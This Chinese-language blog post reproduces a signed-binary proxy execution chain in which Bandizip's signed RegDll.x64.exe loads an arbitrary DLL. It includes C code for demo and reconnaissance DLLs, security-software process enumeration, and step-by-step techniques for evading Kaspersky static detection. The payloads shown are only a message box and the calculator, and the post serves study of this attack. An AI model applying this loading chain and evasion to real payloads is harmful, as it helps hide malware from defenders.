惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

The GitHub Blog
The GitHub Blog
S
SegmentFault 最新的问题
MyScale Blog
MyScale Blog
有赞技术团队
有赞技术团队
V
Visual Studio Blog
T
The Blog of Author Tim Ferriss
爱范儿
爱范儿
Vercel News
Vercel News
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
Y
Y Combinator Blog
Blog — PlanetScale
Blog — PlanetScale
D
DataBreaches.Net
美团技术团队
Microsoft Security Blog
Microsoft Security Blog
大猫的无限游戏
大猫的无限游戏
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
酷 壳 – CoolShell
酷 壳 – CoolShell
GbyAI
GbyAI
A
About on SuperTechFans
云风的 BLOG
云风的 BLOG
The Cloudflare Blog
宝玉的分享
宝玉的分享
V
V2EX
Microsoft Azure Blog
Microsoft Azure Blog

小野博客

Hexo 主题 Win7:把 Windows 7 装进博客 Typora 1.14.9 离线授权机制分析与本地 Hook 实现 nProtect BlackCipher 反作弊分析 Snipaste 2.11.X 离线授权分析 FinalShell 4.6.5离线激活 朱镕基同志逝世 【开源主题】LB_Down下载站-支持1.3.0版本typecho主题 没有信用卡,我为了注册一个20.uy域名,走了一条多长的弯路 QQ音乐播放接口:PHP逆向分析与实现 CTF:最好的语言解密过程 狐蒂云疑似准备跑路:低价云服务器的水有多深 WeMod PRO 会员高级版脚本分享 PowerShell 执行策略被禁止解决方法 一款可以屏蔽国外广告的IP过滤评论插件 当 PCDN 来敲门:一个"小"博客的 200G 流量惊魂记 船新升级!我的“一言”系统支持一键换肤了(内附10套精美皮肤) 再续前缘:利用自建一言Api接口嫁接给typecho 给网页装个“灵魂”:我写了一个超丝滑的【一言】自建语录api 桌面工具-极光便签-随时笔记
Bandizip 签名程序 RegDll 实现 DLL 白加黑加载
小野 · 2026-08-27 · via 小野博客

0x00 背景

前几天在吾爱破解上看到一篇帖子,作者 xiaojiakeji 提到 Bandizip 安装目录下 data\ 文件夹里有两个自带 exe:RegDll.x64.exeRegDll.x86.exe。这两个文件带有 Bandisoft 官方的有效数字签名,并且支持命令行参数直接加载并调用任意 DLL 中的指定函数。

核心命令只有一行:

RegDll.x64.exe /calldll 任意.dll 函数名

这是典型的白加黑利用场景,有签名白文件 + 恶意黑 DLL,可以绕过部分依赖静态签名检测的安全软件。

官方回复不认定为漏洞,理由是 Windows 自带 regsvr32.exerundll32.exe 等工具也能干类似的事。这个回复在技术上说得通,但在实际攻防场景里,有有效数字签名的第三方白文件比系统自带工具更容易过检测,这是事实。

本文记录从零开始完整复现这个利用链的整个过程。

0x01 环境

  • Windows 11 x64
  • Bandizip(安装版,非 Microsoft Store 版),安装后 data\ 目录下确认存在 RegDll.x64.exe
  • Visual Studio "使用 C++ 的桌面开发"
  • 目标机器装有卡巴斯基(用于测试免杀效果)

0x02 编写 DLL

先写一个最简单的 DLL,导出函数 TestFunc,里面弹一个 MessageBox 证明被执行:

#include <windows.h>

__declspec(dllexport) void TestFunc(void) {
    MessageBoxA(NULL, "DLL Loaded OK!", "testdll.dll", MB_OK);
}

BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved) {
    return TRUE;
}

VS 里新建"动态链接库(DLL)"项目,文件后缀用 .c,属性设置:

  • C/C++ → 高级 → 编译为 C 代码 (/TC)
  • C/C++ → 预编译头 → 不使用预编译头
  • 链接器 → 输入 → 附加依赖项:user32.lib
  • 平台选 x64

编译后拿到 testdll.dll,放到 Bandizip 的 data\ 目录下。

0x03 验证加载

data\ 目录 使用 PowerShell,执行:

.\RegDll.x64.exe /calldll testdll.dll TestFunc

MessageBox 成功弹出。证明 RegDll 确实在无任何校验的情况下,通过 LoadLibraryW + GetProcAddress 加载并调用了指定 DLL 的指定导出函数。

用 x64dbg 附加跟进去,在 kernel32!LoadLibraryW 下断点,可以清楚看到 DLL 路径和函数名从命令行参数一路传进来,最终进入 sub_140003528 直接调用,中间没有任何签名校验、路径白名单或导出名限制。

0x04 扩展:信息收集

把 DLL 功能扩展一下,在被加载时收集一些系统信息并弹窗显示:

#include <windows.h>
#include <VersionHelpers.h>

void ShowReconPopup(void) {
    char info[4096] = {0};
    char username[256] = {0};
    DWORD ulen = 256;
    GetUserNameA(username, &ulen);
    lstrcatA(info, "User: ");
    lstrcatA(info, username);
    lstrcatA(info, "\n");

    char compname[256] = {0};
    DWORD clen = 256;
    GetComputerNameA(compname, &clen);
    lstrcatA(info, "Computer: ");
    lstrcatA(info, compname);
    lstrcatA(info, "\n");

    lstrcatA(info, "Version: ");
    if (IsWindows10OrGreater()) lstrcatA(info, "Win10/11+");

    char exePath[512] = {0};
    GetModuleFileNameA(NULL, exePath, 512);
    lstrcatA(info, "\nHost: ");
    lstrcatA(info, exePath);

    MessageBoxA(NULL, info, "Recon", MB_OK);
}

__declspec(dllexport) void TestFunc(void) {
    ShowReconPopup();
}

BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved) {
    return TRUE;
}

编译后同样用 RegDll 加载,弹窗里能看到当前用户、计算机名、系统版本、以及宿主进程路径(显示为 RegDll.x64.exe 的完整路径)。这说明所有收集行为都发生在 Bandizip 签名进程的上下文里。

0x05 扩展:杀软检测 + 外网 IP

进一步加入两个功能:

  1. 通过 CreateToolhelp32Snapshot 枚举进程,匹配已知安全软件进程名关键字
  2. 通过 WinHTTP 请求 httpbin.org/ip 获取出口 IP

杀软检测列表覆盖了 360、火绒、Defender、卡巴斯基、腾讯电脑管家、McAfee、ESET 等常见产品。外网 IP 通过 HTTPS 请求获取,解析 JSON 中的 origin 字段。

这部分代码较长,核心逻辑就是进程枚举 + 字符串匹配 + WinHTTP 请求,不再贴全量代码。

0x06 免杀处理:过卡巴斯基静态

上面这些版本在编译后会被卡巴斯基直接删除,原因很明确:

  • .rdata 段里有 "calc.exe" 等明文字符串
  • 导入表直接挂了 ShellExecuteAMessageBoxA
  • 行为模式(DLL 被签名进程加载后起系统程序)触发启发式

针对这三点逐一处理:

1. 字符串不打明文字面量,用字符数组运行时拼:

char target[] = {'c','a','l','c','.','e','x','e',0};

2. API 不写导入表,用 GetProcAddress 动态获取:

char api[] = {'S','h','e','l','l','E','x','e','c','u','t','e','A',0};
SE pSE = (SE)GetProcAddress(hS, api);

3. 弹窗改用 MessageBoxW(宽字符),中文不乱码:

char msgApi[] = {'M','e','s','s','a','g','e','B','o','x','W',0};
MBW pMsg = (MBW)GetProcAddress(hU, msgApi);
pMsg(NULL, L"计算器劫持成功!\nRegDll /calldll + DLL 白加黑验证通过",
           L"计算器劫持成功", MB_OK | MB_ICONWARNING);

4. 弹窗和起 calc 分别放两个线程,同时出现:

CreateThread(NULL, 0, PopThread,  NULL, 0, NULL);
CreateThread(NULL, 0, CalcThread, NULL, 0, NULL);

编译后用 PE 工具检查:

  • 导入表里只有 KERNEL32.dll 的基础函数
  • 没有 user32.dllshell32.dll 的导入项
  • 没有 "calc.exe" 连续字符串

最终版本在卡巴斯基环境下可以正常落地,RegDll 加载后弹窗显示"计算器劫持成功",同时计算器被拉起。

0x07 总结

完整利用链回顾:

攻击者准备恶意 DLL(带 TestFunc 导出)
    ↓
将 DLL 投放到目标机器(任意目录均可)
    ↓
利用已有 Bandizip 安装(RegDll.x64.exe 带有效数字签名)
    ↓
命令行调用:RegDll.x64.exe /calldll 恶意.dll TestFunc
    ↓
RegDll 内部 LoadLibraryW → GetProcAddress → 调用 TestFunc
    ↓
恶意代码在 Bandizip 签名进程上下文中执行

截图